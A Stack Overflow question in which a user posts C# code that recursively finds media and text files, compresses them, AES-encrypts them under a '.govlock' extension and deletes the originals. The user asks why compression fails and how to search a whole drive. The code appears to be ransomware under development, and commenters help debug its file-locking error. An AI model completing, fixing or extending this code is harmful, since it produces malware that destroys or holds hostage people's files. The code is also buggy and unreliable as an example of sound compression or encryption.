0

The problem is that it does not compress the files. I want it to search for file with specified extension, compress those files, and then encrypt them. The encryption works (if I remove the compression part) but it doesn't do both. If possible is there any way I could perform a search for files on whole drive using "DriveInfo"?

Here's my code:

public static void Compress(string file)
{

    using (FileStream fsCrypt = new FileStream(file + ".gz", FileMode.Create)) // automatically dispose fsCrypt
    {
        //write salt to the beginning of the output file, so in this case can be random every time

    }

    int bytesToRead = 128 * 1024 * 1024; // 128MB 
    byte[] buffer = new byte[bytesToRead]; // create the array that will be used encrypted
    long fileOffset = 0;
    int read = 0;
    bool allRead = false;

    while (!allRead)
    {
        using (FileStream fs1 = new FileStream(file, FileMode.Open, FileAccess.Read))
        {
            fs1.Seek(fileOffset, SeekOrigin.Begin); // continue reading from where we were...
            read = fs1.Read(buffer, 0, bytesToRead); // read the next chunk
        }

        if (read == 0)
            allRead = true;
        else
            fileOffset += read;

        using (FileStream fsCrypt1 = new FileStream(file + ".gz", FileMode.Open)) // automatically dispose fsCrypt
        {
            using (GZipStream cs1 = new GZipStream(fsCrypt1, CompressionMode.Compress, true))
            {
                fsCrypt1.Seek(fileOffset, SeekOrigin.End);
                cs1.Write(buffer, 0, read);

            }
        }
    }
    File.Delete(file);                                                                                                              
}

static void EncryptFile(string file, string password)
{
    byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
    byte[] salt = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

    passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

    RijndaelManaged AES = new RijndaelManaged();
    AES.KeySize = AES.LegalKeySizes[0].MaxSize;
    AES.BlockSize = AES.LegalBlockSizes[0].MaxSize;
    AES.Padding = PaddingMode.PKCS7;

    //"What it does is repeatedly hash the user password along with the salt." High iteration counts.
    using (var key = new Rfc2898DeriveBytes(passwordBytes, salt, 1000)) // automatically dispose key
    {
        AES.Key = key.GetBytes(AES.KeySize / 8);
        AES.IV = key.GetBytes(AES.BlockSize / 8);
        AES.Mode = CipherMode.CFB;
    }
    using (FileStream fsCrypt = new FileStream(file + ".govlock", FileMode.Create)) // automatically dispose fsCrypt
    {
        //write salt to the beginning of the output file, so in this case can be random every time
        fsCrypt.Write(salt, 0, salt.Length);
    }

    int bytesToRead = 128 * 1024 * 1024; // 128MB 
    byte[] buffer = new byte[bytesToRead]; // create the array that will be used encrypted
    long fileOffset = 0;
    int read = 0;
    bool allRead = false;

    while (!allRead)
    {
        using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read))
        {
            fs.Seek(fileOffset, SeekOrigin.Begin); // continue reading from where we were...
            read = fs.Read(buffer, 0, bytesToRead); // read the next chunk
        }

        if (read == 0)
            allRead = true;
        else
            fileOffset += read;

        using (FileStream fsCrypt = new FileStream(file + ".govlock", FileMode.Open)) // automatically dispose fsCrypt
        {
            using (CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write))
            {
                fsCrypt.Seek(fileOffset, SeekOrigin.End);
                cs.Write(buffer, 0, read);

            }
        }
    }
    File.Delete(file);                                                                                                              
}
//encrypts target directory
public void encryptDirectory(string location, string password)
{

    //extensions to be encrypt
    var validExtensions = new[]
    {

       ".gz"               
    };

    string[] files = Directory.GetFiles(location);
    string[] childDirectories = Directory.GetDirectories(location);
    for (int i = 0; i < files.Length; i++)
    {
        string extension = Path.GetExtension(files[i]);
        if (validExtensions.Contains(extension))
        {
           // Compress(files[i]);                                                                            //change made here
            EncryptFile(files[i], password);
        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
        encryptDirectory(childDirectories[i], password);
    }

}

//compress directory
public void compresstDirectory(string location1)
{

    //extensions to be encrypt
    var validExtensions1 = new[]
    {


".gif",".avi",".wmv",".mp3",".mp4",".flv",".mpg",".mkv",".txt"
    };

    string[] files1 = Directory.GetFiles(location1);
    string[] childDirectories = Directory.GetDirectories(location1);
    for (int i = 0; i < files1.Length; i++)
    {
        string extension1 = Path.GetExtension(files1[i]);
        if (validExtensions1.Contains(extension1))
        {
            Compress(files1[i]);                                                                            //change made here

        }
    }
    for (int i = 0; i < childDirectories.Length; i++)
    {
       compresstDirectory(childDirectories[i]);
    }
}
Frank Bryce
  • 8,076
  • 4
  • 38
  • 56
ram
  • 1
  • 1
  • *"I want it to first search for file with specified extension then compress those files and then encrypt them"* - which one of these doesn't work? Pasting a bunch of methods and telling "it doesn't work" is unprofessional. Are you able to debug the problem and narrow the problem to at least method? – Sinatr Dec 04 '15 at 14:25
  • ok sorry for that but the problem is that it doesn't compress it throws me this error "the process cannot access the file 'somefile because it is being used for another process'" – ram Dec 04 '15 at 14:30
  • the main problem is at "public static void Compress(string file)" method i dont understand what's wrong.. – ram Dec 04 '15 at 14:40
  • That error message is all you have to look for. Something doesn't close the file. See [here](http://stackoverflow.com/q/26741191/1997232). – Sinatr Dec 04 '15 at 15:12

0 Answers0